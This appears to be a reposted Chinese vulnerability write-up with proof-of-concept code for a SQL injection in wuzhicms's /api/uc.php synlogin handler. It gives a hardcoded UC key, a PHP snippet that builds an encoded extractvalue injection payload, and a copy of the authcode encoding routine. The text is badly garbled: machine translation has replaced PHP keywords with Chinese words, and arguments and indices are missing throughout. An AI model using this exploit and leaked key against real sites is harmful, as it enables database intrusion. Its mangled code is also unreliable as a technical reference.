API/uc.phpsql中有注入。
漏洞文件/api/uc.php
& lt?服务器端编程语言(Professional Hypertext Preprocessor的缩写)
$code = isset?$ GLOBALS:' ';
$ get = $ GLOBALS
parse_str,$ get);
if$ get = _ strip斜杠;
...
if;
标题;
$ action = $ get;
echo $uc_note->$action;
exit;
} else {
退出;
}
...
函数synlogin {
标题;
$ username = $ get;
$r = $this->。成员->;db->get_one。$username。"');
if{
$cookietime = COOKIE_TTL?系统时间。COOKIE _ TTL:0;
set_cookie。“t”。$r。“t”。$cookietime,substr,8,8)),$ cookietime);
set_cookie;
set_cookie;
set_cookie;
}
return API _ RETURN _ SUCCEED
}
?>。
就像上面的代码一样,如果我们知道UCYKEY,我们就可以解码所有的$get参数,“用户名”参数会导致SQL被注入到最新的版本中,uckkey就是“UCYKEY”= >:e063 rbkhx 22 ravig
我们可以使用以下代码来计算代码值
$a = 'time= '。时间。& ampaction = synlogin & ampusername=aa "和extractvalue)# ';
$code1 = urlencode;
var _ dump;退出;
function _authcode{
$ ckey _ length = 4;
$key = md5;
$keya = md5);
$keyb = md5);
$ keyc = $ ckey _ length?:substr),-$ ckey _ length)):' ';
$cryptkey = $keya.md5;
$ key _ length = strlen;
$string = $operation == 'DECODE '?base64_decode) : sprintf:0)。substr,0,16)。$ string
$ string _ length = strlen;
$ result =
$box = range;
$ rnd key = array;
for {
$ rnd key= order;
}
for {
$ j =% 256;
$ tmp = $ box;
$ box= $ box;
$ box= $ tmp;
}
for {
$ a =% 256;
$ j =% 256;
$ tmp = $ box;
$ box= $ box;
$ box= $ tmp;
$结果。= chr^% 256]);
}
if {
if == 0 || substr - time>0)和amp& ampsubstr= substr)。$keyb),0,16){
返回substr;
} else {
返回“”;
}
} else {
return $ key . str _ replace);
}
}
==========================
POC &。& amp经历
1.《5diary wuzhicms注入》援引自互联网,旨在传递更多网络信息知识,仅代表作者本人观点,与本网站无关,侵删请联系页脚下方联系方式。
2.《5diary wuzhicms注入》仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证。
3.文章转载时请保留本站内容来源地址,https://www.lu-xu.com/guoji/1686120.html